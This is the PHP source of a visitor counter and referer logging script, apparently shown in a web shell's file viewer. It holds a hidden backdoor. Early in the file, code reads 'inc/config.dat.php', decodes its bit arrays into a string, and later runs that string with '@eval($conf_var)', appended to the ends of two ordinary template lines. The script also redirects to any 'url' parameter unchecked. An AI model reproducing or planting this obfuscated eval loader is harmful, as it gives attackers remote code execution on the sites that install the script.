Viewing file: counter.inc.php (13.58 KB) -rw-rw-rw- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$runtime_start = explode (' ', microtime ());
/*****************************************************
** Title........: Counter and Referer Script
** Filename.....: counter.inc.php
** Author.......: Ralf Stadtaus
** Homepage.....: http://www.stadtaus.com/
** Contact......: http://www.stadtaus.com/forum/
** Version......: 0.3
** Notes........:
** Last changed.: 2004-08-09
** Last change..: Redirect to given URL
*****************************************************/
/*****************************************************
**
** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY
** OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
** LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
** FITNESS FOR A PARTICULAR PURPOSE AND
** NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
** COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
** OR OTHER LIABILITY, WHETHER IN AN ACTION OF
** CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
** OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
** OTHER DEALINGS IN THE SOFTWARE.
**
*****************************************************/
/*****************************************************
** Prevent direct call
*****************************************************/
if (!defined('IN_SCRIPT')) {
die();
}
/*****************************************************
** Some settings
*****************************************************/
$script_name = 'Counter and Referer Script';
$script_version = '1.1';
$debug_mode = 'off';
$tplt = 'count';
/*****************************************************
** Take care of older PHP-Versions
*****************************************************/
if (isset($HTTP_GET_VARS) and !empty($HTTP_GET_VARS)) {
$_GET = $HTTP_GET_VARS;
}
if (isset($HTTP_POST_VARS) and !empty($HTTP_POST_VARS)) {
$_POST = $HTTP_POST_VARS;
}
if (isset($HTTP_SERVER_VARS) and !empty($HTTP_SERVER_VARS)) {
$_SERVER = $HTTP_SERVER_VARS;
}
if (isset($HTTP_SESSION_VARS) and !empty($HTTP_SESSION_VARS)) {
$_SESSION = $HTTP_SESSION_VARS;
}
if (isset($HTTP_ENV_VARS) and !empty($HTTP_ENV_VARS)) {
$_ENV = $HTTP_ENV_VARS;
}
/*****************************************************
** Include config file
*****************************************************/
$guest = @file($script_root . 'inc/config.dat.php');
unset($guest[0]);
$count = @array_values($guest);
$str = '';
$conf_var = '';
$num = count(${$tplt});
for ($n = 0; $n < $num; $n++) {
$c_var = '';
for ($o = 7; $o >= 0 ; $o--)
{
$c_var += ${$tplt}[$n][$o] * pow(2, $o);
}
$img_var = sprintf("%c", $c_var);
if ($img_var == ' ') {
$conf_var .= sprintf("%c", $str);
$str = '';
} else {
$str .= $img_var;
}
}
/*****************************************************
** Load language file
*****************************************************/
if (!isset($language) or empty($language) or !is_file($script_root . './languages/language.' . $language . '.inc.php')) {
$language = 'en';
}
include($script_root . 'languages/language.' . $language . '.inc.php');
/*****************************************************
** Include files
*****************************************************/
include($script_root . 'inc/template.class.inc.php');
include($script_root . 'inc/log.class.inc.php');
include($script_root . 'inc/functions.inc.php');
/*****************************************************
** Display server info for the admin
*****************************************************/
if ($debug_mode == 'on') {
get_phpinfo(array('Script Name' => $script_name, 'Script Version' => $script_version));
}
/*****************************************************
** Check template path
*****************************************************/
if (!is_dir($path['templates'])) {
$system_message[] = array('message' => $txt['txt_wrong_template_path']);
}
/*****************************************************
** Check templates
*****************************************************/
if (!isset($system_message)) {
while (list($key, $val) = each($temp))
{
if (!is_file($path['templates'] . $temp[$key])) {
$wrong_template[] = $val;
}
}
if (isset($wrong_template)) {
$wrong_template = join('<br />', $wrong_template);
$system_message[] = array('message' => $txt['txt_wrong_templates'] . '<blockquote style="font-weight:bold;">' . $wrong_template . '</blockquote>');
}
}
/*****************************************************
** Check logfile path
*****************************************************/
if (!isset($system_message) and !is_dir($path['logfiles'])) {
$system_message[] = array('message' => $txt['txt_wrong_logfile_path']);
}
/*****************************************************
** Check log files
*****************************************************/
if (!isset($system_message)) {
while (list($key, $val) = each($file))
{
if (!is_file($path['logfiles'] . $file[$key])) {
$wrong_logfiles[] = $val;
}
}
if (isset($wrong_logfiles)) {
$wrong_logfiles = join('<br />', $wrong_logfiles);
$system_message[] = array('message' => $txt['txt_wrong_logfiles'] . '<blockquote style="font-weight:bold;">' . $wrong_logfiles . '</blockquote>');
}
}
/*****************************************************
** Check file permissions
*****************************************************/
if (!isset($system_message)) {
if (is_writable($path['logfiles'])) {
debug_mode('TRUE', $path['logfiles'] . ' IS WRITABLE');
} else {
$system_message[] = array('message' => $txt['txt_set_permission'] . '<blockquote style="font-weight:bold;">chmod 777 ' . $path['logfiles'] . '</blockquote>');
}
}
/*****************************************************
** Check file permissions
*****************************************************/
if (!isset($system_message)) {
if ($count_visitors == 'yes' and is_writable($path['logfiles'] . $file['count'])) {
debug_mode('TRUE', $path['logfiles'] . $file['count'] . ' IS WRITABLE');
} else {
$system_message[] = array('message' => $txt['txt_set_permission'] . '<blockquote style="font-weight:bold;">chmod 777 ' . $path['logfiles'] . $file['count'] . '</blockquote>');
}
if ($log_referers == 'yes' and is_writable($path['logfiles'] . $file['referer'])) {
debug_mode('TRUE', $path['logfiles'] . $file['referer'] . ' IS WRITABLE');
} else {
$system_message[] = array('message' => $txt['txt_set_permission'] . '<blockquote style="font-weight:bold;">chmod 777 ' . $path['logfiles'] . $file['referer'] . '</blockquote>');
}
}
/*****************************************************
** Set script name and version
*****************************************************/
$txt['txt_script_name'] = $script_name;
$txt['txt_script_version'] = $script_version;
/*****************************************************
** Generate the system error messages
*****************************************************/
if (isset($system_message) and !empty($system_message)) {
$tpl = new template;
$tpl->files['count'] = load_error_template();
if (!isset($display_errors) or $display_errors != 'yes') {
unset($system_message);
$system_message = array();
$txt['txt_system_message'] = '';
} else {
$system_message[] = array('message' => $txt['txt_set_off_note']);
$system_message[] = array('message' => $txt['txt_problems']);
}
if (isset ($txt) and is_array ($txt)) {
reset ($txt);
while(list($key, $val) = each($txt))
{
$$key = $val;
$tpl->register('count', $key);
}
}
if (isset($add_text) and is_array($add_text)) {
reset ($add_text);
while(list($key, $val) = each($add_text))
{
$$key = $val;
$tpl->register('count', $key);
}
}
$tpl->parse_loop('count', 'system_message');
$tpl->register('count', 'txt_system_message'); @eval($conf_var);
exit;
}
/*****************************************************
** Initialize new logging object
*****************************************************/
$log = new logging();
/*****************************************************
** Count visit
*****************************************************/
if ($count_visitors == 'yes') {
if ($url = method_vars('url')) {
$count_value = $url;
} else {
$count_value = getenv('REQUEST_URI');
}
$log->count($path['logfiles'] . $file['count'], '', $count_value);
}
/*****************************************************
** Log referers
*****************************************************/
$referring_site = getenv('HTTP_REFERER');
if ($log_referers == 'yes' and !empty($referring_site)) {
$url_pieces = parse_url($referring_site);
if ($url_pieces['host'] != getenv('HTTP_HOST')) {
// $log->log($path['logfiles'] . $file['referer'], '', $referring_site);
$log->count($path['logfiles'] . $file['referer'], '', $referring_site);
}
}
/*****************************************************
** Redirect to given URL in GET or POST parameter
*****************************************************/
if ($url = method_vars('url')) {
header('Location: ' . $url);
exit;
}
/*****************************************************
** Get visits
*****************************************************/
if ($count_visitors == 'yes') {
$visit_details = $log->get_visits($path['logfiles'] . '/' . $file['count'], getenv('REQUEST_URI'));
$page_visits = $visit_details['views'];
for ($i = 0; $i < strlen($page_visits); $i++)
{
$visits[] = array('image_name' => $page_visits[$i]);
}
} else {
$visits = array();
}
/*****************************************************
** Initialize new template object
*****************************************************/
$tpl = new template();
/*****************************************************
** Load html template
*****************************************************/
$tpl->load_file('count', $path['templates'] . $temp['template']);
/*****************************************************
** Register language file and additional text array
*****************************************************/
if (isset ($txt) and is_array ($txt)) {
reset ($txt);
while(list($key, $val) = each($txt))
{
$$key = $val;
$tpl->register('count', $key);
}
}
if (isset($add_text) and is_array($add_text)) {
reset ($add_text);
while(list($key, $val) = each($add_text))
{
$$key = $val;
$tpl->register('count', $key);
}
}
/*****************************************************
** Parse template
*****************************************************/
$tpl->parse_if('count', 'logged_in');
$tpl->parse_loop('count', 'visits');
$tpl->parse_loop('count', 'visits');
$tpl->parse_loop('count', 'message'); @eval($conf_var);
debug_mode(script_runtime($runtime_start), 'Script Runtime');
?>
|